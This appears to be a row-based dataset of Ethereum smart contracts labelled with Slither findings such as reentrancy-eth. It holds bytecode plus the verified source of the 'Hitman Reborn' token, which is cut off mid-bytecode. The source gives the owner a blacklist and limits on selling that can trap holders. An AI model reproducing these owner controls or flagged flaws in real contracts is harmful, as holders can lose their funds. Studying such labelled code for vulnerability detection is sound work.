fffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e5757600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610eaf610ea86116a7565b848461187a565b6001905092915050565b60088054610ec690612450565b80601f0160208091040260200160405190810160405280929190818152602001828054610ef290612450565b8015610f3f5780601f10610f1457610100808354040283529160200191610f3f565b820191906000526020600020905b815481529060010190602001808311610f2257829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ff05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610ff957600080fd5b60005b815181101561108a5760006003600084848151811061101e5761101d612482565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611082906124e0565b915050610ffc565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111375750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61114057600080fd5b600960019054906101000a900460ff1615611190576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611187906126c9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121930600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006546116af565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611264573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128891906126fe565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131391906126fe565b6040518363ffffffff1660e01b815260040161133092919061272b565b6020604051808303816000875af115801561134f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137391906126fe565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113fc30610a9f565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161144496959493929190612799565b60606040518083038185885af1158015611462573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611487919061280f565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154b929190612862565b6020604051808303816000875af115801561156a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158e91906128b7565b5050565b6007805461159f90612450565b80601f01602080910402602001604051908101604052809291908181526020018280546115cb90612450565b80156116185780601f106115ed57610100808354040283529160200191611618565b820191906000526020600020905b8154815290600101906020018083116115fb57829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561171f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171690612956565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611786906129e8565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161186d9190612037565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190612a7a565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561194857600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119ec5750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80611a9c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a9b5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b611aa557600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611bf757600960009054906101000a900460ff1680611b5f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bb75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611bf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bed90612b0c565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611c5f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea26469706673582212202a48a30c3bfe77f03eb922d16587191043d3b1c26901573b6bd9701a23d0e8a764736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,664 |
0x2939e5993369a1141a6a5712759646ea65badb21 | /**
*Submitted for verification at Etherscan.io on 2021-06-03
*/
/*
Welcome to Hitman Reborn a fair launch token with no team token.
Join our telegram: https://t.me/KHReborn
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract HitmanReborn is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Hitman_Reborn";
string private constant _symbol = 'KHR';
uint8 private constant _decimals = 18;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f0a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a2d565b61045e565b6040516101789190612eef565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130ac565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129de565b610491565b6040516101e09190612eef565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612950565b61056a565b005b34801561021e57600080fd5b5061022761065a565b6040516102349190613121565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aaa565b610663565b005b34801561027257600080fd5b5061027b610715565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612950565b610787565b6040516102b191906130ac565b60405180910390f35b3480156102c657600080fd5b506102cf6107d8565b005b3480156102dd57600080fd5b506102e661092b565b6040516102f39190612e21565b60405180910390f35b34801561030857600080fd5b50610311610954565b60405161031e9190612f0a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a2d565b610991565b60405161035b9190612eef565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a69565b6109af565b005b34801561039957600080fd5b506103a2610aff565b005b3480156103b057600080fd5b506103b9610b79565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612afc565b6110d9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906129a2565b611226565b60405161041891906130ac565b60405180910390f35b60606040518060400160405280600d81526020017f4869746d616e5f5265626f726e00000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006c0c9f2c9cd04674edea40000000905090565b600061049e848484611480565b61055f846104aa6112ad565b61055a856040518060600160405280602881526020016137e560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105106112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3f9092919063ffffffff16565b6112b5565b600190509392505050565b6105726112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f690612fec565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066b6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ef90612fec565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107566112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077657600080fd5b600047905061078481611ca3565b50565b60006107d1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9e565b9050919050565b6107e06112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086490612fec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4b48520000000000000000000000000000000000000000000000000000000000815250905090565b60006109a561099e6112ad565b8484611480565b6001905092915050565b6109b76112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3b90612fec565b60405180910390fd5b60005b8151811015610afb57600160066000848481518110610a8f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ff